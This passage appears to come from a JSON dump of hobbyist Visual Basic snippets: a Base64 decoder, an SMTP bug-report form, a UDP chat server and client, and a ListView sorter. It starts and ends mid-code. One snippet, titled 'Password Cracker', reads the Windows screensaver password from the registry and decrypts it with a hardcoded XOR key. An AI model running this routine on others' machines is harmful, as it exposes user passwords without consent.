\"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\", \"255\")\n'Reads 4 Bytes in and decrypt them\nFor counter = 1 To Len(Basein) Step 4\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'!IF YOU WANT YOU CAN ADD AN ERRORCHECK: !\n'!If DecodeTable()=255 Then Error! !\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'4 Bytes in -> 3 Bytes out\ninp(0) = DecodeTable(Asc(Mid$(Basein, counter, 1)))\ninp(1) = DecodeTable(Asc(Mid$(Basein, counter + 1, 1)))\ninp(2) = DecodeTable(Asc(Mid$(Basein, counter + 2, 1)))\ninp(3) = DecodeTable(Asc(Mid$(Basein, counter + 3, 1)))\nOut(0) = (inp(0) * 4) Or ((inp(1) \\ 16) And &H3)\nOut(1) = ((inp(1) And &HF) * 16) Or ((inp(2) \\ 4) And &HF)\nOut(2) = ((inp(2) And &H3) * 64) Or inp(3)\n'* look for \"=\" symbols\nIf inp(2) = 64 Then\n \n 'If there are 2 characters left -> 1 binary out\n Out(0) = (inp(0) * 4) Or ((inp(1) \\ 16) And &H3)\n Temp = Temp & Chr(Out(0) And &HFF)\nElseIf inp(3) = 64 Then\n \n 'If there are 3 characters left -> 2 binaries out\n Out(0) = (inp(0) * 4) Or ((inp(1) \\ 16) And &H3)\n Out(1) = ((inp(1) And &HF) * 16) Or ((inp(2) \\ 4) And &HF)\n Temp = Temp & Chr(Out(0) And &HFF) & Chr(Out(1) And &HFF)\nElse 'Return three Bytes\n Temp = Temp & Chr(Out(0) And &HFF) & Chr(Out(1) And &HFF) & Chr(Out(2) And &HFF)\nEnd If\nNext\nBase64Decode = Temp\nEnd Function\n'**********************************************************\nPrivate Sub Decode_Click()\n'Base64 needs x * 4 Bytes to work...\nIf Base64 <> \"\" And (Len(Base64) Mod 4) = 0 Then\nBinary.Text = Base64Decode(Base64.Text)\nEnd If\nEnd Sub"},{"WorldId":1,"id":2594,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2359,"LineNumber":1,"line":"'Save it as SendBug.frm and compile it!\n'-------------------8< Cut here ---------------------------------------\nVERSION 5.00\nObject = \"{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0\"; \"MSWINSCK.OCX\"\nBegin VB.Form Form1 \n BorderStyle = 0 'Kein\n Caption = \"Send Bug Report\"\n ClientHeight = 3195\n ClientLeft = 0\n ClientTop = 0\n ClientWidth = 4680\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 3195\n ScaleWidth = 4680\n StartUpPosition = 2 'Bildschirmmitte\n Begin MSWinsockLib.Winsock Winsock1 \n Left = 120\n Top = 120\n _ExtentX = 741\n _ExtentY = 741\n _Version = 393216\n End\n Begin VB.CommandButton Exit \n Caption = \"Exit\"\n Height = 255\n Left = 2280\n TabIndex = 2\n Top = 2880\n Width = 2295\n End\n Begin VB.CommandButton Connect \n Caption = \"Send Bug Report\"\n Height = 255\n Left = 120\n TabIndex = 1\n Top = 2880\n Width = 2055\n End\n Begin VB.TextBox Bugreporttxt \n Height = 2655\n Left = 120\n MultiLine = -1 'True\n TabIndex = 0\n Top = 120\n Width = 4455\n End\nEnd\nAttribute VB_Name = \"Form1\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nOption Explicit\nPrivate bTrans As Boolean\nPrivate m_iStage As Integer\nPrivate strData As String\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'CHANGE THIS SETTING LIKE YOU NEED IT\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\nPrivate Const mailserver As String = \"your-mail-server.com\"\nPrivate Const Tobox As String = \"youre-mail@adress.com\"\nPrivate Const Frombox As String = \"theuser@ofthisprogram.com\"\nPrivate Const Subject As String = \"Heading of the E-Mail send to you!\"\n\n'***************************************************************\n'Routine for connecting to the server\n'***************************************************************\nPrivate Sub Connect_Click()\nIf Winsock1.State <> sckClosed Then Winsock1.Close\nWinsock1.LocalPort = 0\nWinsock1.Protocol = sckTCPProtocol\nWinsock1.Connect mailserver, \"25\"\nbTrans = True\nm_iStage = 0\nstrData = \"\"\nCall WaitForResponse\nEnd Sub\n'***************************************************************\n'Transmit the E-Mail\n'***************************************************************\nPrivate Sub Transmit(iStage As Integer)\nDim Helo As String, temp As String\nDim pos As Integer\nSelect Case m_iStage\nCase 1:\nHelo = Frombox\npos = Len(Helo) - InStr(Helo, \"@\")\nHelo = Right$(Helo, pos)\nWinsock1.SendData \"HELO \" & Helo & vbCrLf\nstrData = \"\"\nCall WaitForResponse\nCase 2:\nWinsock1.SendData \"MAIL FROM: <\" & Trim(Frombox) & \">\" & vbCrLf\nCall WaitForResponse\nCase 3:\nWinsock1.SendData \"RCPT TO: <\" & Trim(Tobox) & \">\" & vbCrLf\nCall WaitForResponse\nCase 4:\nWinsock1.SendData \"DATA\" & vbCrLf\nCall WaitForResponse\nCase 5:\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'If you want additional Headers like Date,Message-Id,...etc. !\n'simply add them below !\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\ntemp = temp & \"From: \" & Frombox & vbNewLine\ntemp = temp & \"To: \" & Tobox & vbNewLine\ntemp = temp & \"Subject: \" & Subject & vbNewLine\n'Header + Message\ntemp = temp & vbCrLf & Bugreporttxt.Text\n'Send the Message & close connection\nWinsock1.SendData temp\nWinsock1.SendData vbCrLf & \".\" & vbCrLf\nm_iStage = 0\nbTrans = False\nCall WaitForResponse\nEnd Select\nEnd Sub\n'***************************************************************\n'Routine for Winsock Errors\n'***************************************************************\nPrivate Sub Winsock1_Error(ByVal number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)\nMsgBox \"Error:\" & Description, vbOKOnly, \"Winsock Error!\" ' Show error message\nIf Winsock1.State <> sckClosed Then\nWinsock1.Close\nEnd If\nEnd Sub\n'***************************************************************\n'Routine for arraving Data\n'***************************************************************\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim messagesent As String\n\nOn Error Resume Next\nWinsock1.GetData strData, vbString\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'!If you have problems with sending the E-Mail, you should !\n'!activate the line below and add a Textbox txtStatus, to !\n'!see the Server's response !\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'txtStatus.Text = txtStatus.Text & strData\nIf bTrans Then\nm_iStage = m_iStage + 1\nTransmit m_iStage\nElse\n If Winsock1.State <> sckClosed Then Winsock1.Close\n messagesent = MsgBox(\"Bug report sent! Hit exit to end program.\", vbOKOnly, \"Bug Report\")\nEnd If\nEnd Sub\n'**************************************************************\n'NEW! Waits until time out, while waiting for response\n'**************************************************************\nSub WaitForResponse()\nDim Start As Long\nDim Tmr As Long\nStart = Timer\nWhile Len(strData) = 0\n Tmr = Timer - Start\n DoEvents ' Let System keep checking for incoming response\n \n 'Wait 50 seconds for response\n If Tmr > 50 Then\n MsgBox \"SMTP service error, timed out while waiting for response\", 64, \"Error!\"\n strData = \"\"\n End\n End If\nWend\nEnd Sub\nPrivate Sub Exit_Click()\nOn Error Resume Next\nIf Winsock1.State <> sckClosed Then Winsock1.Close\nEnd\nEnd Sub\n"},{"WorldId":1,"id":2360,"LineNumber":1,"line":"'Save it as crackpwd.frm, add crackpwd.bas (the code above)\n'and compile it!\n'-------------- 8< Cut here----------------------------------------------------\nVERSION 5.00\nBegin VB.Form Form1 \n BackColor = &H00000000&\n BorderStyle = 4 'Festes Werkzeugfenster\n Caption = \"Password Cracker\"\n ClientHeight = 4905\n ClientLeft = 45\n ClientTop = 300\n ClientWidth = 6855\n ForeColor = &H00FFFFFF&\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 4905\n ScaleWidth = 6855\n ShowInTaskbar = 0 'False\n StartUpPosition = 3 'Windows-Standard\nEnd\nAttribute VB_Name = \"Form1\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nPrivate Sub Form_Load()\nMe.Show\n \nPrint\nPrint \"Read Registry...\"\nPrint\nPrint \"Screensaver Password: \" + Screensavepwd\n \nEnd Sub\nFunction Screensavepwd() As String\n'Dim's for the Registry\nDim lngType As Long, varRetString As Variant\nDim lngI As Long, intChar As Integer\n'Dim's for the Password decoding\nDim Ciphertext As String, Key As String\nDim temp1 As String, temp2 As String\n'Registry Path to the encrypted Password\nvarRetString = sdaGetRegEntry(\"HKEY_CURRENT_USER\", _\n \"Control Panel\\desktop\", \"ScreenSave_Data\", \"1\")\n \n'the Encrypted Password\nCiphertext = varRetString\nIf Len(Ciphertext) <> 1 Then\nCiphertext = Left$(varRetString, Len(Ciphertext) - 1)\nPrint Ciphertext\n'Micro$oft's \"Secret\" Key\nKey = \"48EE761D6769A11B7A8C47F85495975F414141\"\n \n'XOR every Ciphertextbyte with the Keybyte to get\n'the plaintext\nFor i = 1 To Len(Ciphertext) Step 2\n \ntemp1 = Hex2Dez(Mid$(Ciphertext, i, 2))\ntemp2 = Hex2Dez(Mid$(Key, i, 2))\n \nplaintext = plaintext + Chr(temp1 Xor temp2)\n \nNext i\nScreensavepwd = plaintext\nElse\nScreensavepwd = \" no Password\"\nEnd If\nEnd Function\n\nFunction Hex2Dez&(H$)\nIf Left$(H$, 2) <> \"&H\" Then\n H$ = \"&H\" + H$\nEnd If\n \n Hex2Dez& = Val(H$)\nEnd Function\n"},{"WorldId":1,"id":1737,"LineNumber":1,"line":"'Name: Client and Server Chat Room (Server)\n'Author: Matt Insler\n'Written: 5/7/99\n'Purpose: This program will allow more than a one on one direct connection chat, like previous postings show.\n' This will allow as many clients as have the client and the host name or IP to chat by using a server to\n' receive the messages and send them back out to all computers in the collection. This is a good start\n' for a mIrc style chat, or an AOL style chat, or any other type of chat program. By adding a listbox\n' to the client and making a procedure that will send all of the names to the clients, and a procedure to\n' receive and add the names, you can make a listbox showing who is in the room. Also, if you wish to make\n' separate channels, or rooms, you can either run multiple versions of the server on different ports, or\n' you can add more winsock controls and have them all simultaneously listening and running the server.\n' If you happen to use my code as a stepping stool to a good chat program or find any ways to make this program\n' better, please send it to me at racobac@aol.com. Thanks.\n'Input: Nothing, but to sit back and watch people chat, or to chat with them as ServerMaster.\n'Returns: Watch the chat happen, and facilitate a server for people to chat on.\n'Side Effects: None that I know of. If you find any, please email me.\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'*****************************************************************************************************************\n'Create a new form and add three(3) text boxes, one(1) command button, one(1) list box, and add the microsoft winsock control\n'Change the name of the text boxes to tMain, and tSend, tIP, name the command button cSnd, and name the list box lName\n'Change the name of the winsock control to Wsck\n'Change the caption of cSnd to \"Send\"\n'Make tMain multiline = true, scrollbars = 2 - vertical, and locked = true\n'Make lName Sorted = true\n'Make cSnd Default = true\n'Insert the following code\n'Declarations:\nDim Client As New Collection\nDim Names As New Collection\nConst Indicator = \":':\"\nPrivate Sub cSnd_Click()\n \n 'Send button\n 'Make string to send\n txt$ = \"ServerMaster: \" & tSend.Text & Chr$(13) & Chr$(10)\n 'Send to clients\n Call SendOut(txt$)\n 'Clear Send text box\n tSend.Text = \"\"\nEnd Sub\nPrivate Sub Form_Load()\n \n 'Clear Main text box\n tMain.Text = \"\"\n 'We will be using UDP for this program because it does not establish a constant connection to another computer.\n 'This will allow the server to keep \"listening\" for messages from other addresses on a network or the internet.\n Wsck.Protocol = sckUDPProtocol\n 'Set your constant port (must be the same in clients)\n Wsck.LocalPort = 2367\n 'Start listening\n Wsck.Bind\n 'Add the server to the name list\n 'This would allow you to make a list box in the client that could receive all of the names of the people in the room.\n RmIP = Wsck.LocalIP\n RmPt = 2367\n Names.Add Key:=RmIP, Item:=\"ServerMaster\"\n 'Display your IP Address for client use, and Computer Name for network use.\n tIP.Text = RmIP & \" / \" & Wsck.LocalHostName\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n 'End connection on Winsock\n Wsck.Close\n End\nEnd Sub\nPrivate Sub lName_DblClick()\n \n 'Double-click an IP Address in the listbox\n 'Create message with client NickName, IP Address, and Port\n txt$ = Names(lName.Text) & \", \" & lName.Text & \", \" & Client(lName.Text)\n MsgBox txt$, vbOKOnly, \"User Information\"\nEnd Sub\nPrivate Sub Wsck_DataArrival(ByVal bytesTotal As Long)\n \n 'Winsock received a message\n 'If an error occurs, ignore it and go on to the next command\n On Error Resume Next\n Dim DATA As String\n Dim DATA2 As String\n Dim Nam As String\n Dim MsgText As String\n \n 'Retreive message in string format\n Wsck.GetData DATA, vbString\n 'Get client's IP and Port\n RmIP = Wsck.RemoteHostIP\n RmPt = Wsck.RemotePort\n \n 'Get first letter of message\n DATA2 = Left(DATA, 1)\n 'Get the rest of the message\n DATA = Mid(DATA, 2)\n 'If the message is a system command:\n If DATA2 = \"s\" Then\n 'If a client wants to connect to the room:\n If Left(DATA, 20) = Indicator & \"CoNnEcTrEqUeSt\" & Indicator Then\n 'Extract the client NickName from the message\n Nam = Mid(DATA, 21)\n 'Add client's IP and Port to your collections\n Client.Add Key:=RmIP, Item:=RmPt\n Names.Add Key:=RmIP, Item:=Nam\n 'Add client's IP to the listbox\n lName.AddItem RmIP\n Exit Sub\n 'If a client wants to disconnect from the room:\n ElseIf DATA = Indicator & \"CoNnEcTcAnCeL\" & Indicator Then\n 'Loop through listbox and find client's IP\n For X = 0 To lName.ListCount - 1\n lName.ListIndex = X\n RmEx = lName.Text\n 'When found, remove IP from listbox\n If RmEx = RmIP Then lName.RemoveItem (X)\n Next\n 'Remove client from your collections\n Client.Remove (RmIP)\n Names.Remove (RmIP)\n Exit Sub\n End If\n 'If the message is text sent to the room:\n ElseIf DATA2 = \"t\" Then\n 'Send text to clients\n Call SendOut(DATA)\n End If\nEnd Sub\nPrivate Sub Wsck_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)\n 'Error occured in winsock!\n MsgBox \"An error occurred in winsock!\"\n 'Close connection\n Wsck.Close\nEnd Sub\nSub SendOut(StringToSend As String)\n 'Send a text message to all clients in collection/listbox\n 'If an error occurs, ignore it and go on to the next command\n On Error Resume Next\n 'Loop through all IP in listbox\n For X = 0 To lName.ListCount - 1\n 'Select each IP\n lName.ListIndex = X\n 'Set IP and Port to send to\n RmIP = lName.Text\n RmPt = Client(RmIP)\n Wsck.RemoteHost = RmIP\n Wsck.RemotePort = RmPt\n 'Send text message\n Wsck.SendData \"t\" & StringToSend\n Next\n \n 'Add the text message to your room\n tMain.Text = tMain.Text & StringToSend\n 'Scroll to the bottom of the room\n tMain.SelStart = Len(tMain)\nEnd Sub\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'*****************************************************************************************************************\n'Name: Client and Server Chat Room (Client)\n'Author: Matt Insler\n'Written: 5/7/99\n'Purpose: This program will allow more than a one on one direct connection chat, like previous postings show.\n' This will allow as many clients as have the client and the host name or IP to chat by using a server to\n' receive the messages and send them back out to all computers in the collection. This is a good start\n' for a mIrc style chat, or an AOL style chat, or any other type of chat program. By adding a listbox\n' to the client and making a procedure that will send all of the names to the clients, and a procedure to\n' receive and add the names, you can make a listbox showing who is in the room. Also, if you wish to make\n' separate channels, or rooms, you can either run multiple versions of the server on different ports, or\n' you can add more winsock controls and have them all simultaneously listening and running the server.\n' If you happen to use my code as a stepping stool to a good chat program or find any ways to make this program\n' better, please send it to me at racobac@aol.com. Thanks.\n'Input: Host IP or Computer Name, and a NickName, along with whatever you wish to send to the room.\n'Returns: What everyone who is in the room types back to you, along with your messages.\n'Side Effects: None that I know of. If you find any, please email me.\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'*****************************************************************************************************************\n'Create a new form and add four(4) text boxes, three(3) command buttons, and add the microsoft winsock control\n'Change the name of the text boxes to tHost, tName, tMain, and tSend, and name the command buttons cCon, cDis, cSnd\n'Change the name of the winsock control to Wsck\n'Change the caption of cCon to \"Connect\", cDis to \"Disconnect\", and cSnd to \"Send\"\n'Make tMain multiline = true, scrollbars = 2 - vertical, and locked = true\n'Make cDis and cSnd enabled = false\n'\n'Make cSnd Default = true\n'Insert the following code\n'Declarations:\nConst Indicator = \":':\"\nPrivate Sub cCon_Click()\n \n 'Connect button\n 'Check if a Host Name or IP has been entered\n If Len(tHost) < 1 Then\n MsgBox (\"Please make sure a Host has been entered!\")\n 'Put blinker in host text box\n tHost.SetFocus\n Exit Sub\n 'Check if a NickName has been entered\n ElseIf Len(tName) < 1 Then\n MsgBox \"You must enter a nickname first!\"\n 'Put blinker in NickName text box\n tName.SetFocus\n Exit Sub\n End If\n \n 'If an error occurs, jump to Ending\n On Error GoTo Ending\n 'Set the IP or Host Computer to connect to\n Wsck.RemoteHost = tHost.Text\n 'Randomize a Port setting\n Wsck.LocalPort = Int((9999 * Rnd) + 1)\n 'Set the Port to connect to\n Wsck.RemotePort = 2367\n 'Connect!\n Wsck.Bind\n 'Send system request to connect\n Wsck.SendData \"s\" & Indicator & \"CoNnEcTrEqUeSt\" & Indicator & tName.Text\n 'Enable Send and Disconnect buttons, and disable Connect button and NickName text box\n cSnd.Enabled = True\n cDis.Enabled = True\n cCon.Enabled = False\n tName.Enabled = False\n 'Put blinker in the Send text box\n tSend.SetFocus\n Exit Sub\nEnding:\n 'Error handling\n MsgBox \"You are not connected to the internet or the Host is not available.\", , Form1.Caption\n 'Click the Disconnect button\n cDis_Click\nEnd Sub\nPrivate Sub cDis_Click()\n \n 'Disconnect button\n 'If an error occurs, ignore it and go on to the next command\n On Error Resume Next\n 'Send system message to disconnect from server\n Wsck.SendData \"s\" & Indicator & \"CoNnEcTcAnCeL\" & Indicator\n 'Close connection\n Wsck.Close\n 'Enable Connect button and NickName text box, and disable Send and Disconnect buttons\n cCon.Enabled = True\n tName.Enabled = True\n cDis.Enabled = False\n cSnd.Enabled = False\n 'Put blinker in NickName text box\n tName.SetFocus\nEnd Sub\nPrivate Sub cSnd_Click()\n \n 'Send button\n Wsck.SendData \"t\" & tName.Text & \":\" & vbTab & tSend.Text & Chr$(13) & Chr$(10)\n 'Clear Send text box\n tSend.Text = \"\"\nEnd Sub\nPrivate Sub Form_Load()\n 'We will be using UDP for this program because it does not establish a constant connection to another computer.\n 'This will allow the server to keep \"listening\" for messages from other addresses on a network or the internet.\n Wsck.Protocol = sckUDPProtocol\n 'Clear Main text box\n tMain.Text = \"\"\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n 'End connection on Winsock\n Wsck.Close\n End\nEnd Sub\nPrivate Sub Wsck_DataArrival(ByVal bytesTotal As Long)\n \n 'If an error occurs, ignore it and go on to the next command\n On Error Resume Next\n Dim Data As String\n Dim Data2 As String\n 'Retreive message in string format\n Wsck.GetData Data, vbString\n \n 'Get first letter of message\n Data2 = Left(Data, 1)\n 'Get the rest of the message\n Data = Mid(Data, 2)\n 'If the message is a system command:\n If Data2 = \"s\" Then\n 'You can add your own system commands from the server to the client here.\n 'I have made one to throw out the client if I decide to.\n 'If the message is text sent to the room:\n ElseIf Data2 = \"t\" Then\n 'Add the text message to your room\n tMain.Text = tMain.Text & Data\n 'Scroll to the bottom of the room\n tMain.SelStart = Len(tMain)\n Exit Sub\n End If\nEnd Sub\nPrivate Sub Wsck_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)\n 'Error occured in winsock!\n MsgBox \"An error occurred in winsock!\"\n 'Close connection\n Wsck.Close\nEnd Sub"},{"WorldId":1,"id":6272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4466,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1753,"LineNumber":1,"line":"Function ExtractArgument (ArgNum As Integer, srchstr As String, Delim As String) As String\n 'Extract an argument or token from a string based on its position\n 'and a delimiter.\n On Error GoTo Err_ExtractArgument\n Dim ArgCount As Integer\n Dim LastPos As Integer\n Dim Pos As Integer\n Dim Arg As String\n \n Arg = \"\"\n LastPos = 1\n If ArgNum = 1 Then Arg = srchstr\n \n Do While InStr(srchstr, Delim) > 0\n Pos = InStr(LastPos, srchstr, Delim)\n If Pos = 0 Then\n 'No More Args found\n If ArgCount = ArgNum - 1 Then Arg = Mid(srchstr, LastPos)\n Exit Do\n Else\n ArgCount = ArgCount + 1\n If ArgCount = ArgNum Then\n Arg = Mid(srchstr, LastPos, Pos - LastPos)\n Exit Do\n End If\n End If\n LastPos = Pos + 1\n Loop\n \n '---------\n ExtractArgument = Arg\n Exit Function\nErr_ExtractArgument:\n MsgBox \"Error \" & Err & \": \" & Error\n Resume Next\nEnd Function\n\n"},{"WorldId":1,"id":1774,"LineNumber":1,"line":"Public Sub MakeWindowAlwaysTop(hwnd As Long)\nSetWindowPos hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE + SWP_NOSIZE\nEnd Sub\nPublic Sub MakeWindowNotTop(hwnd As Long)\nSetWindowPos hwnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE + SWP_NOSIZE\nEnd Sub\n"},{"WorldId":1,"id":1765,"LineNumber":1,"line":"'set the timer's interval to 1\nPrivate Sub Timer1_Timer()\nForm1.Show\nForm1.SetFocus\nEnd Sub\n"},{"WorldId":1,"id":3096,"LineNumber":1,"line":"'it's a module\n'i went a little DIM crazy with the \n'variables but it's still good code...enjoy\nPublic Sub eRoot(rootpath As String, fldrs As Boolean)\n'fldrs is the folders switch, monkey with it and see what you get\nOn Error Resume Next\nDim EX, ARGU, path, X\nIf fldrs = True Then\nEX = \"explorer.exe\"\nARGU = \" /e,/root, \"\npath = rootpath$\nX = Shell(EX & ARGU & path, 1)\nElseIf fldrs = False Then\nEX = \"explorer.exe\"\nARGU = \" n/e,/,root, \"\npath = rootpath$\nX = Shell(EX & ARGU & path, 1)\nEnd If\nEnd Sub"},{"WorldId":1,"id":4669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1855,"LineNumber":1,"line":"'****************************************************************\n' ListView1_ColumnClick\n' Called when a column header is clicked on - sorts the data in\n' that column\n'----------------------------------------------------------------\nPrivate Sub ListView1_ColumnClick(ByVal ColumnHeader As _\n MSComctlLib.ColumnHeader)\n On Error Resume Next\n \n ' Record the starting CPU time (milliseconds since boot-up)\n \n Dim lngStart As Long\n lngStart = GetTickCount\n \n ' Commence sorting\n \n With ListView1\n \n ' Display the hourglass cursor whilst sorting\n \n Dim lngCursor As Long\n lngCursor = .MousePointer\n .MousePointer = vbHourglass\n \n ' Prevent the ListView control from updating on screen -\n ' this is to hide the changes being made to the listitems\n ' and also to speed up the sort\n \n LockWindowUpdate .hWnd\n \n ' Check the data type of the column being sorted,\n ' and act accordingly\n \n Dim l As Long\n Dim strFormat As String\n Dim strData() As String\n \n Dim lngIndex As Long\n lngIndex = ColumnHeader.Index - 1\n \n Select Case UCase$(ColumnHeader.Tag)\n Case \"DATE\"\n \n ' Sort by date.\n \n strFormat = \"YYYYMMDDHhNnSs\"\n \n ' Loop through the values in this column. Re-format\n ' the dates so as they can be sorted alphabetically,\n ' having already stored their visible values in the\n ' tag, along with the tag's original value\n \n With .ListItems\n If (lngIndex > 0) Then\n For l = 1 To .Count\n With .Item(l).ListSubItems(lngIndex)\n .Tag = .Text & Chr$(0) & .Tag\n If IsDate(.Text) Then\n .Text = Format(CDate(.Text), _\n strFormat)\n Else\n .Text = \"\"\n End If\n End With\n Next l\n Else\n For l = 1 To .Count\n With .Item(l)\n .Tag = .Text & Chr$(0) & .Tag\n If IsDate(.Text) Then\n .Text = Format(CDate(.Text), _\n strFormat)\n Else\n .Text = \"\"\n End If\n End With\n Next l\n End If\n End With\n \n ' Sort the list alphabetically by this column\n \n .SortOrder = (.SortOrder + 1) Mod 2\n .SortKey = ColumnHeader.Index - 1\n .Sorted = True\n \n ' Restore the previous values to the 'cells' in this\n ' column of the list from the tags, and also restore\n ' the tags to their original values\n \n With .ListItems\n If (lngIndex > 0) Then\n For l = 1 To .Count\n With .Item(l).ListSubItems(lngIndex)\n strData = Split(.Tag, Chr$(0))\n .Text = strData(0)\n .Tag = strData(1)\n End With\n Next l\n Else\n For l = 1 To .Count\n With .Item(l)\n strData = Split(.Tag, Chr$(0))\n .Text = strData(0)\n .Tag = strData(1)\n End With\n Next l\n End If\n End With\n \n Case \"NUMBER\"\n \n ' Sort Numerically\n \n strFormat = String(30, \"0\") & \".\" & String(30, \"0\")\n \n ' Loop through the values in this column. Re-format the values so as they\n ' can be sorted alphabetically, having already stored their visible\n ' values in the tag, along with the tag's original value\n \n With .ListItems\n If (lngIndex > 0) Then\n For l = 1 To .Count\n With .Item(l).ListSubItems(lngIndex)\n .Tag = .Text & Chr$(0) & .Tag\n If IsNumeric(.Text) Then\n If CDbl(.Text) >= 0 Then\n .Text = Format(CDbl(.Text), _\n strFormat)\n Else\n .Text = \"&\" & InvNumber( _\n Format(0 - CDbl(.Text), _\n strFormat))\n End If\n Else\n .Text = \"\"\n End If\n End With\n Next l\n Else\n For l = 1 To .Count\n With .Item(l)\n .Tag = .Text & Chr$(0) & .Tag\n If IsNumeric(.Text) Then\n If CDbl(.Text) >= 0 Then\n .Text = Format(CDbl(.Text), _\n strFormat)\n Else\n .Text = \"&\" & InvNumber( _\n Format(0 - CDbl(.Text), _\n strFormat))\n End If\n Else\n .Text = \"\"\n End If\n End With\n Next l\n End If\n End With\n \n ' Sort the list alphabetically by this column\n \n .SortOrder = (.SortOrder + 1) Mod 2\n .SortKey = ColumnHeader.Index - 1\n .Sorted = True\n \n ' Restore the previous values to the 'cells' in this\n ' column of the list from the tags, and also restore\n ' the tags to their original values\n \n With .ListItems\n If (lngIndex > 0) Then\n For l = 1 To .Count\n With .Item(l).ListSubItems(lngIndex)\n strData = Split(.Tag, Chr$(0))\n .Text = strData(0)\n .Tag = strData(1)\n End With\n Next l\n Else\n For l = 1 To .Count\n With .Item(l)\n strData = Split(.Tag, Chr$(0))\n .Text = strData(0)\n .Tag = strData(1)\n End With\n Next l\n End If\n End With\n \n Case Else ' Assume sort by string\n \n ' Sort alphabetically. This is the only sort provided\n ' by the MS ListView control (at this time), and as\n ' such we don't really need to do much here\n \n .SortOrder = (.SortOrder + 1) Mod 2\n .SortKey = ColumnHeader.Index - 1\n .Sorted = True\n \n End Select\n \n ' Unlock the list window so that the OCX can update it\n \n LockWindowUpdate 0&\n \n ' Restore the previous cursor\n \n .MousePointer = lngCursor\n \n End With\n \n ' Report time elapsed, in milliseconds\n \n Debug.Print \"Time Elapsed = \" & GetTickCount - lngStart & \"ms\"\n \nEnd Sub\n'****************************************************************\n' InvNumber\n' Function used to enable negative numbers to be sorted\n' alphabetically by changing the characters\n'----------------------------------------------------------------\nPrivate Function InvNumber(ByVal Number As String) As String\n Static i As Integer\n For i = 1 To Len(Number)\n Select Case Mid$(Number, i, 1)\n Case \"-\": Mid$(Number, i, 1) = \" \"\n Case \"0\": Mid$(Number, i, 1) = \"9\"\n Case \"1\": Mid$(Number, i, 1) = \"8\"\n Case \"2\": Mid$(Number, i, 1) = \"7\"\n Case \"3\": Mid$(Number, i, 1) = \"6\"\n Case \"4\": Mid$(Number, i, 1) = \"5\"\n Case \"5\": Mid$(Number, i, 1) = \"4\"\n Case \"6\": Mid$(Number, i, 1) = \"3\"\n Case \"7\": Mid$(Number, i, 1) = \"2\"\n Case \"8\": Mid$(Number, i, 1) = \"1\"\n Case \"9\": Mid$(Number, i, 1) = \"0\"\n End Select\n Next\n InvNumber = Number\nEnd Function\n'****************************************************************\n'\n'----------------------------------------------------------------\n"},{"WorldId":1,"id":5578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1821,"LineNumber":1,"line":"Option Explicit\nPublic Function sCompress(sCompData As String) As String\n Dim lDataCount As Long\n Dim lBufferStart As Long\n Dim lMaxBufferSize As Long\n Dim sBuffer As String\n Dim lBufferOffset As Long\n Dim lBufferSize As Long\n Dim sDataControl As String\n Dim bDataControlChar As Byte\n Dim lControlCount As Long\n Dim bControlPos As Byte\n Dim bCompLen As Long\n Dim lCompPos As Long\n Dim bMaxCompLen As Long\n \n 